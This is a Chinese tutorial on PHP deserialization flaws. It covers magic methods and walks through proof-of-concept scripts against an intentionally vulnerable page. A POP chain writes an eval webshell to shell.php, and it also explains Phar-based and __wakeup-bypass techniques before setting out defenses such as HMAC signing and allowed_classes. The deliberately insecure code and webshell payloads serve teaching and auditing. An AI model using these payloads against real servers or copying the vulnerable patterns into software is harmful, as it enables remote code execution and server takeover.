PHP反序列化漏洞:从原理到实战利用与防御
1. 项目概述:从一次“意外”的代码执行说起
几年前,我在审计一个内部系统时,遇到一个非常典型的场景。系统有一个“记住我”的功能,用户登录后,会将一些用户信息序列化后存储在Cookie里。代码大概是这样的:setcookie('user_data', serialize($userInfo), time()+86400);。登录后,从Cookie读取数据则是:$user = unserialize($_COOKIE['user_data']);。看起来一切正常,直到我在用户信息数组里发现了一个不起眼的avatar字段,它存储的是用户头像的本地文件路径。一个念头闪过:如果我能够控制这个序列化后的字符串呢?
我立刻构造了一个特殊的序列化字符串,将avatar字段的值指向了一个我精心准备的、包含恶意代码的临时文件路径。当我将这个伪造的Cookie发送给服务器,系统执行unserialize的那一刻,我的恶意代码被成功触发,实现了远程命令执行。整个过程,服务器没有任何异常日志,因为它只是在“忠实地”反序列化它认为可信的数据。这次经历让我对PHP反序列化漏洞的隐蔽性和危害性有了刻骨铭心的认识。它不像SQL注入那样有明显的语法错误,也不像XSS那样直接反映在页面上,它更像一个隐藏在正常业务流程下的“逻辑炸弹”,一旦触发,往往意味着服务器权限的彻底沦陷。
今天,我们就来彻底拆解这个让许多开发者头疼、让安全人员兴奋的“PHP反序列化漏洞”。无论你是正在学习安全的初学者,还是负责代码审计的工程师,亦或是想写出更健壮代码的PHP开发者,理解这个漏洞的原理、挖掘方法和防御手段,都是一项至关重要的技能。我们会从最基础的序列化概念讲起,一步步深入到漏洞的核心原理、多种利用手法,并通过实战案例复现,让你不仅能看懂,更能亲手实践和防御。
2. 核心原理:为什么unserialize()会成为安全黑洞?
要理解漏洞,必须先理解序列化与反序列化本身在做什么。这不是PHP的“缺陷”,而是一个强大的特性被错误使用后带来的副作用。
2.1 序列化与反序列化的本质
你可以把PHP的serialize()函数想象成一个专业的“打包机器人”。它的任务是把一个在内存中活生生的、结构复杂的变量(比如一个包含对象、数组、字符串的嵌套结构),转换成一个格式规整的、扁平的字符串。这个字符串就像一份详细的“装箱清单”,记录了原数据的所有类型、结构和值。
例如,一个简单的对象:
class User { public $name = 'Alice'; private $id = 100; } $obj = new User(); echo serialize($obj);输出可能类似于:O:4:"User":2:{s:4:"name";s:5:"Alice";s:7:"Userid";i:100;}。这份“清单”明确写着:这是一个对象(O),类名长4个字符(“User”),有2个属性。第一个属性是长度为4的字符串“name”,其值是长度为5的字符串“Alice”;第二个属性是长度为7的字符串“Userid”(注意私有属性序列化后的格式),其值是整数100。
而unserialize(),就是另一个“拆箱机器人”。它拿到这份“清单”,严格按照指示,在内存中重新构造出一模一样的变量或对象。关键在于,这个“拆箱”过程,会触发一些特殊的“自动动作”。
2.2 漏洞诞生的关键:魔术方法(Magic Methods)
PHP对象有一些以双下划线__开头的特殊方法,称为魔术方法。它们在对象生命周期的特定节点会被自动调用。在反序列化过程中,以下几个方法是关键:
__wakeup():当unserialize()执行,成功重建一个对象后,如果该对象定义了此方法,它会立即被自动调用。通常用于重新建立数据库连接、初始化资源等。__destruct():当对象被销毁时(如脚本执行结束、对象被unset),此方法被自动调用。通常用于关闭连接、清理临时文件等。__toString():当对象被当作字符串处理时(如echo $obj)被调用。__call()、__get()、__set()等:在访问不可访问的属性或方法时触发。
漏洞的核心就在于:攻击者可以控制反序列化的数据源(如Cookie、POST参数、缓存数据),从而控制被反序列化出来的对象的属性。如果这个对象的类定义了上述魔术方法,并且方法内的代码逻辑依赖于对象的属性,那么攻击者通过操控属性,就可能操控这些“自动动作”的执行逻辑,最终导向恶意代码执行。
注意:反序列化漏洞的利用通常需要两个条件:1. 存在可控的反序列化入口点(
unserialize的参数用户可控);2. 代码中包含了包含危险魔术方法的类(这些类有时可能存在于其他未被直接调用的文件中,通过自动加载引入,我们称之为“POP链”的组成部分)。
2.3 与其它漏洞的思维差异
很多初学者会混淆反序列化和反序列化漏洞。unserialize函数本身不是漏洞,不安全地使用它才是漏洞。它不同于SQL注入的直接拼接,也不同于XSS的脚本注入。反序列化漏洞是一种“代码流劫持”,它利用的是应用程序本身合法的对象生命周期和业务逻辑,通过数据去影响代码的执行路径。这使得它的挖掘更需要审计者对代码逻辑有整体的理解。
3. 实战利用:手把手构造你的第一个PoC
理解了原理,我们通过一个极度简化的场景来实战。假设我们有以下一段存在漏洞的代码(vuln.php):
<?php // vuln.php class VulnClass { public $data; function __wakeup() { // 反序列化后自动执行,危险! system($this->data); } } // 用户可控的反序列化入口 $input = $_GET['payload']; if(isset($input)){ unserialize($input); } ?>3.1 利用步骤拆解
- 目标分析:我们看到
VulnClass类有一个__wakeup()魔术方法,方法内直接使用system()函数执行了$this->data。而$this->data是对象的公有属性。 - 控制入口:
vuln.php通过GET参数payload直接获取用户输入,并传递给unserialize()。这是一个明确的可控入口。 - 构造恶意对象:我们的目标是创建一个
VulnClass对象,并将其data属性设置为我们希望执行的系统命令(例如whoami)。 - 生成序列化字符串:编写一个攻击脚本(
exp.php):
<?php // exp.php class VulnClass { public $data = 'whoami'; // 要执行的命令 } $obj = new VulnClass(); $payload = serialize($obj); echo $payload . "\n"; // 输出:O:9:"VulnClass":1:{s:4:"data";s:6:"whoami";} // 也可以进行URL编码:urlencode($payload) ?>- 发起攻击:将生成的payload作为参数发送给漏洞页面。
当服务器接收到这个参数,执行http://target.com/vuln.php?payload=O:9:"VulnClass":1:{s:4:"data";s:6:"whoami";}unserialize($_GET['payload'])时:- 它解析字符串,重建一个
VulnClass对象。 - 将该对象的
data属性设置为whoami。 - 对象重建完成后,自动调用
__wakeup()方法。 __wakeup()方法执行system($this->data),即system('whoami')。- 服务器执行了
whoami命令,并将结果返回(可能直接输出在页面上,也可能记录在日志中)。
- 它解析字符串,重建一个
3.2 利用__destruct()的案例
__wakeup()在反序列化后立即触发,而__destruct()则在对象销毁时触发,有时更具灵活性。假设类定义如下:
class Logger { private $logFile; private $logMsg; function __destruct() { // 对象销毁时,将日志写入文件 file_put_contents($this->logFile, $this->logMsg, FILE_APPEND); } }如果攻击者能控制反序列化数据,他就可以构造一个Logger对象,将logFile属性设置为诸如../../shell.php的路径,将logMsg属性设置为<?php phpinfo();?>。当这个临时对象被销毁时,__destruct()方法就会将PHP代码写入目标文件,造成webshell上传。
实操心得:在实际审计中,找到直接这样
system($this->cmd)的简单情况很少。更多时候,你需要追踪属性在魔术方法中的传递过程。例如,$this->data可能被传递给另一个对象的方法,那个方法又可能调用文件操作函数。这就需要你绘制出一条“属性传播链”,也就是所谓的“POP链”(Property-Oriented Programming)。
4. 深入挖掘:从简单利用到POP链构造
真实的CMS或框架中,很少会有上面那种“直给”的漏洞。危险的方法往往藏在复杂的业务逻辑深处。这时,我们就需要用到POP链攻击。
4.1 什么是POP链?
POP链可以理解为一条“接力赛”路径。攻击者从可控的反序列化入口点开始,通过操控一个对象的属性,使其在魔术方法中调用另一个对象的方法,而另一个对象的方法又访问了第三个对象的属性……如此传递,最终触发一个危险函数(如file_put_contents、eval、system等)。
核心思想是:将多个类的魔术方法或普通方法像齿轮一样衔接起来,让数据流沿着我们设计的路径流动,最终达到恶意目的。
4.2 实战POP链分析案例
假设我们有以下三个类,它们可能分布在不同的文件里,但通过自动加载都能被访问到:
// File: GadgetChain.php class FileWriter { public $filename; public $content; public function write() { // 危险函数:写文件 file_put_contents($this->filename, $this->content); } } class Logger { public $writer; public function log() { $this->writer->write(); // 关键点:调用其他对象的方法 } public function __destruct() { $this->log(); // 对象销毁时自动记录日志 } } class UserProfile { public $logger; public function __wakeup() { // 反序列化后,可能会进行一些“清理”或“日志”操作 $this->logger->log(); // 关键点:在__wakeup中调用其他对象的方法 } }入口点依然是那个不安全的unserialize($_GET['data'])。
构造POP链的思考过程:
寻找终点(Sink):我们的目标是执行任意代码或写文件。这里最明显的终点是
FileWriter::write()方法中的file_put_contents。我们需要控制$filename和$content。寻找起点(Source):起点是我们可以控制的反序列化对象。假设我们反序列化的是
UserProfile对象,我们可以控制它的logger属性。连接齿轮:
- 如果
UserProfile对象被反序列化,其__wakeup()方法会被调用。 __wakeup()中调用了$this->logger->log()。这意味着我们需要让$this->logger是一个Logger对象。Logger::log()方法又调用了$this->writer->write()。这意味着我们需要让Logger对象的writer属性是一个FileWriter对象。- 最终,
FileWriter::write()被执行,其filename和content属性由我们控制。
- 如果
构造恶意序列化数据:
// pop_exp.php class FileWriter { public $filename = 'shell.php'; // 目标文件 public $content = '<?php @eval($_POST[cmd]);?>'; // 恶意内容 } class Logger { public $writer; } class UserProfile { public $logger; } $fw = new FileWriter(); $logger = new Logger(); $logger->writer = $fw; // Logger的writer指向FileWriter对象 $up = new UserProfile(); $up->logger = $logger; // UserProfile的logger指向Logger对象 $payload = serialize($up); echo $payload;生成的payload就是一个包含了嵌套对象关系的长字符串。当这个字符串被反序列化时,整个POP链就会自动执行,在网站根目录下生成一个shell.php的Webshell。
注意事项:在实际审计中,类属性可能是
private或protected。在序列化字符串中,私有和受保护属性的格式有所不同(会包含类名和空字节%00),在手动构造或URL编码时需要特别注意,否则反序列化会失败。通常使用脚本生成payload更可靠。
5. 漏洞挖掘与审计实战指南
知道了怎么利用,那么我们如何在一套陌生的代码中找出这类漏洞呢?
5.1 定位反序列化入口点
这是第一步,也是最直接的一步。全局搜索以下关键词:
unserialize($data = unserialize(- 配合查找参数来源,如
$_GET、$_POST、$_COOKIE、$_REQUEST、file_get_contents('php://input')、数据库字段、缓存读取(如redis->get()、memcached->get)等。
重点关注场景:
- 会话处理:自定义的会话处理器(
session_set_save_handler)中可能用到了序列化。 - 缓存数据:从Redis/Memcached中读取的数据直接反序列化。
- API通信:微服务间通过序列化字符串传递数据。
- 数据库存储:将对象序列化后存入数据库的某个字段,读取时反序列化。
- 文件操作:读取本地存储的序列化字符串文件(如配置文件、模板缓存)。
5.2 寻找可利用的“齿轮”(类与方法)
找到入口后,需要分析在反序列化时,有哪些类会被自动加载进来(通过__autoload、spl_autoload_register或include/require)。然后在这些类中搜索危险的魔术方法:
- 全局搜索
__wakeup、__destruct、__toString、__call、__get、__set。 - 分析这些魔术方法内部的代码逻辑,看是否存在:
- 文件操作:
file_put_contents、file_get_contents、unlink、copy等。 - 代码执行:
eval、assert、system、exec、preg_replace配合/e修饰符(已废弃但仍需注意)等。 - 数据库操作:执行SQL语句的方法,可能引发二次注入。
- 方法调用:
$this->xxx->yyy()或call_user_func($this->callback, ...)。这是POP链连接的关键,需要跟踪$this->xxx或$this->callback是否可控。
- 文件操作:
5.3 手工与工具结合
- 手工审计:对于关键业务代码、框架核心库,需要仔细进行手工代码跟踪,理解对象之间的依赖关系和调用流程。这是构建复杂POP链的必经之路。
- 工具辅助:
- PHPGGC:一个强大的PHP反序列化漏洞利用链生成工具。它收集了各种流行框架(如Laravel、Symfony、ThinkPHP、Yii等)和库的已知POP链。当你发现一个反序列化入口,并且知道目标系统使用的框架版本时,可以尝试使用PHPGGC生成现成的payload。
- 代码静态分析工具:如
RIPS、Fortify、SonarQube等,可以辅助定位危险的函数调用和用户输入点,但无法自动发现完整的POP链,需要人工验证。
5.4 实战审计思维:以ThinkPHP为例
许多已知的PHP反序列化漏洞都存在于流行框架中。以历史上ThinkPHP的一些反序列化漏洞为例,其POP链往往非常经典:
- 入口点:可能存在于缓存处理、数据库查询条件反序列化等处。
- 起点类:通常是一个在请求生命周期末尾会被销毁的类(触发
__destruct),比如某个Model类或Driver类。 - 链传递:
__destruct中调用了close()或save()方法,这些方法又调用了其他驱动类的方法。 - 核心跳板:利用
__toString方法作为跳板非常常见。当一个对象被当作字符串使用时(比如拼接进echo或作为数组键名),__toString会被调用。如果__toString方法中包含了$this->xxx->yyy()这样的调用,且xxx属性可控,我们就可以将其指向另一个对象,从而切换执行上下文。 - 到达终点:最终链子可能会走到一个包含
file_put_contents(写Webshell)或call_user_func(执行回调函数)的方法上。
审计时,要特别关注那些实现了__destruct、__toString、__call的类,以及那些在框架中广泛使用的基类或Traits。
6. 高级利用与绕过技巧
随着开发者安全意识的提升和PHP版本的更新,一些简单的利用方式受到了限制,攻击技术也在进化。
6.1 绕过__wakeup()的限制
在PHP早期版本中,如果序列化字符串中表示对象属性数量的值大于实际数量,__wakeup()方法会被跳过。例如,对于O:4:"Test":1:{...},可以修改为O:4:"Test":2:{...}。这个特性曾被广泛用于绕过__wakeup()中的安全检测逻辑。但请注意,这个漏洞(CVE-2016-7124)在PHP 5.6.25+ 和 7.0.10+ 中已被修复。在审计和测试时,需要明确目标PHP版本。
6.2 利用Phar协议进行反序列化(Phar Deserialization)
这是PHP反序列化漏洞中一个非常经典且强大的技巧,它甚至可以在没有明显unserialize()调用的情况下触发反序列化。
原理:Phar(PHP Archive)文件包含元数据(metadata)部分,这部分数据在序列化后存储。当PHP使用诸如phar://包装器去操作Phar文件时(如file_exists('phar://test.phar/test.txt')、include('phar://test.phar/init.php')),其元数据会被自动反序列化。
利用条件:
- 存在一个文件上传点,且能控制文件内容(即使后缀被检查,也可能通过其他方式如
GIF89a图片马绕过)。 - 在代码中,存在一个参数可控的文件操作函数(如
file_get_contents()、include()、file_exists()等),并且可以使用phar://协议去访问我们上传的文件。
利用步骤:
- 构造一个包含恶意序列化元数据的Phar文件(需要开启
phar.readonly=Off设置来生成)。 - 将Phar文件上传到服务器(可尝试修改后缀为
.jpg、.gif等)。 - 找到目标文件操作函数,将参数指向
phar:///path/to/uploaded/file.jpg(即使后缀是.jpg,phar://协议也会正确解析其中的Phar结构)。 - 当服务器执行该文件操作时,Phar元数据被反序列化,触发POP链。
实操心得:Phar反序列化极大地扩展了攻击面。它不要求代码中直接出现
unserialize(),只要求有文件操作函数且路径可控。在审计时,要特别留意file_get_contents、include/require、file_exists、copy、fopen等函数的参数是否用户可控,并思考是否能注入phar://协议。
6.3 字符逃逸与字符串处理漏洞
有时,开发者会对序列化字符串进行过滤或替换后再进行反序列化,例如过滤敏感字符。如果过滤逻辑存在缺陷,可能导致序列化字符串的结构被破坏,进而引发对象注入。这涉及到对序列化字符串格式的精确计算,属于更高级的技巧。
例如,代码可能将序列化字符串中的危险词替换为空。如果我们将属性值精心构造为危危险词险词,经过替换后变成了危险词,导致整个字符串的长度字段(s:xx:)与实际字符数不匹配,从而可能改变解析边界,注入额外的对象属性。这类利用需要根据具体的过滤规则进行动态构造。
7. 防御策略:从开发到部署的立体防护
知道了如何攻击,防御就有了明确的方向。防御反序列化漏洞必须是多层次、立体化的。
7.1 最佳实践:根本性解决方案
- 避免使用反序列化:这是最彻底的方法。对于简单的数据存储和传输,使用更安全的格式,如JSON(
json_encode/json_decode)。JSON格式没有执行代码的能力,天生更安全。 - 使用安全的替代品:如果必须序列化对象,考虑使用PHP的
jsonSerialize接口配合JSON,或者使用仅处理数据的特定序列化库。
7.2 严格校验输入(如果必须用unserialize)
如果业务上无法避免使用unserialize,那么必须对输入进行严格管控。
- 完整性校验:在序列化数据存储或传输前,为其添加一个数字签名(HMAC)。在反序列化前,先验证签名。只有签名有效的数据才进行反序列化。这确保了数据未被篡改。
$secret_key = 'your-secret-key'; $serialized_data = $_POST['data']; $signature = $_POST['signature']; if (hash_hmac('sha256', $serialized_data, $secret_key) === $signature) { $obj = unserialize($serialized_data); } else { die('Invalid data signature.'); } - 白名单验证:在反序列化时,使用PHP的
allowed_classes参数(PHP 7.0+),将允许反序列化的类限制在最小必要集合内。
这能有效阻止攻击者利用项目中的其他危险类构造POP链。// 只允许反序列化MySafeClass和AnotherSafeClass $data = unserialize($user_input, ['allowed_classes' => ['MySafeClass', 'AnotherSafeClass']]);
7.3 代码层面加固
- 谨慎使用魔术方法:在
__wakeup()、__destruct()等魔术方法中,避免执行关键或危险操作。如果必须执行,应对内部属性进行严格的类型和值检查。 - 对敏感操作进行权限检查:在可能执行文件操作、数据库操作、命令执行的函数前,加入明确的权限判断和日志记录。
- 最小化暴露的类:减少定义
__wakeup、__destruct等魔术方法的类,尤其是那些包含敏感操作的类。
7.4 部署与环境配置
- 及时更新PHP版本:使用最新的PHP稳定版,并修复已知的反序列化相关漏洞(如CVE-2016-7124)。
- 禁用危险的PHP函数:在
php.ini中,通过disable_functions指令禁用不必要的危险函数,如eval、assert、system、exec、passthru、shell_exec等。这即使攻击者构造了POP链,也无法执行系统命令。 - 限制文件操作:使用
open_basedir限制PHP可访问的目录范围。 - 安全扫描:在CI/CD流程中集成静态代码安全扫描(SAST)工具,定期对代码进行自动化审计,及时发现潜在的反序列化入口和危险函数调用。
8. 常见问题与排查技巧实录
在实际漏洞复现和代码审计中,你肯定会遇到各种各样的问题。这里记录一些我踩过的坑和解决方法。
8.1 问题:Payload构造后,反序列化失败,报错或返回false。
- 可能原因1:属性可见性问题。你构造的类属性(
public、private、protected)与目标类定义不符。私有和保护属性在序列化字符串中包含类名和空字节(%00)。- 排查:仔细对比目标类的属性定义。使用
var_dump(serialize($legalObj))输出一个合法对象的序列化字符串,观察其格式,然后模仿。 - 技巧:在攻击脚本中,使用与目标代码完全相同的类定义(可以通过源代码审计获得)来生成payload,这是最稳妥的方式。
- 排查:仔细对比目标类的属性定义。使用
- 可能原因2:PHP版本差异。不同PHP版本对序列化格式的处理有细微差别(如对对象引用、自定义序列化接口
Serializable的支持)。- 排查:确认目标服务器的PHP版本,尽量在相同版本的环境下生成payload。
- 可能原因3:字符串长度不匹配。序列化字符串中的
s:6:"value"明确指出了后面值的字符长度。如果你手动修改了值的内容而忘记更新长度,会导致解析失败。- 排查:使用脚本自动生成payload,避免手动拼接。如果必须手动修改,请仔细计算字符数(注意是字节数,多字节字符要小心)。
8.2 问题:找到了入口和可能的POP链,但无法成功触发。
- 可能原因1:类未自动加载。POP链中需要的某个类,在反序列化时没有被加载到内存中。PHP在反序列化一个未定义类的对象时,会触发
__autoload或spl_autoload,但如果自动加载规则不匹配,该类就不会被加载,导致反序列化失败或对象被降级为__PHP_Incomplete_Class。- 排查:检查目标应用的自动加载机制(Composer的
autoload.php或自定义的__autoload函数)。确保你的利用链上的所有类都能被正确加载。有时需要利用应用已有的类来“搭桥”。 - 技巧:使用PHPGGC这类工具时,它通常会生成一个包含所有必要类定义的“一体化”payload,或者利用PHP的“内置类”(如
ArrayObject、Exception等,它们始终可用)来构造链子。
- 排查:检查目标应用的自动加载机制(Composer的
- 可能原因2:魔术方法中有条件判断。
__wakeup()或__destruct()方法内部可能存在if判断,只有满足特定条件才会执行危险代码。- 排查:仔细阅读魔术方法的源代码。你可能需要设置特定的属性值来满足条件。例如,方法里可能有
if($this->initialized),那么你就需要在payload中将initialized属性设为true。
- 排查:仔细阅读魔术方法的源代码。你可能需要设置特定的属性值来满足条件。例如,方法里可能有
- 可能原因3:环境差异导致链子中断。例如,链子中某个方法调用了
file_exists('/tmp/xxx'),但目标服务器上没有这个文件。- 排查:逐条分析POP链的每一步,确保每个方法调用在目标环境下都能正常执行,不会因为文件不存在、数据库连接失败等原因抛出异常中断执行。
8.3 问题:使用Phar反序列化时,phar://协议被禁用或无效。
- 可能原因1:
phar扩展未启用。虽然PHP默认编译了phar支持,但有时可能被禁用。- 排查:检查
phpinfo()中是否有phar扩展。在攻击测试前,可以先上传一个正常的Phar文件,用phar://协议读取测试。
- 排查:检查
- 可能原因2:协议包装器被禁用。
allow_url_include和allow_url_fopen配置会影响phar://等包装器。- 排查:
allow_url_fopen通常默认是On,allow_url_include默认是Off。但phar://反序列化通常只需要allow_url_fopen=On即可(对于file_get_contents等),include场景才需要allow_url_include=On。
- 排查:
- 可能原因3:路径问题。
phar://路径需要指向服务器上真实存在的Phar文件(即使后缀被伪装)。- 排查:确保你知道上传文件的绝对路径或相对Web根目录的路径。尝试使用绝对路径
phar:///var/www/html/uploads/evil.jpg。
- 排查:确保你知道上传文件的绝对路径或相对Web根目录的路径。尝试使用绝对路径
8.4 防御代码被绕过怎么办?
- 针对签名校验:如果密钥泄露,签名就形同虚设。务必保护好签名密钥,像保护数据库密码一样。
- 针对
allowed_classes白名单:攻击者可能会寻找白名单内的类,并尝试在这些类中寻找新的POP链。因此,白名单内的类也需要进行安全审计,确保它们没有危险的魔术方法或方法调用。 - 深度防御:没有单一的银弹。必须结合输入校验、代码安全、最小权限原则和运行时监控(如记录所有反序列化操作和异常)来构建纵深防御体系。
反序列化漏洞的攻防是一场持续的斗争。作为开发者,理解其原理是写出安全代码的第一步;作为安全研究者,不断探索新的利用技巧和链式构造方法,则是推动整体安全水位提升的动力。希望这篇长文能为你打开这扇门,剩下的,就是在大量的实战审计中去积累经验和感觉了。记住,多看代码,多动手调试,每一个复杂的POP链,都是从读懂第一行__destruct()开始的。
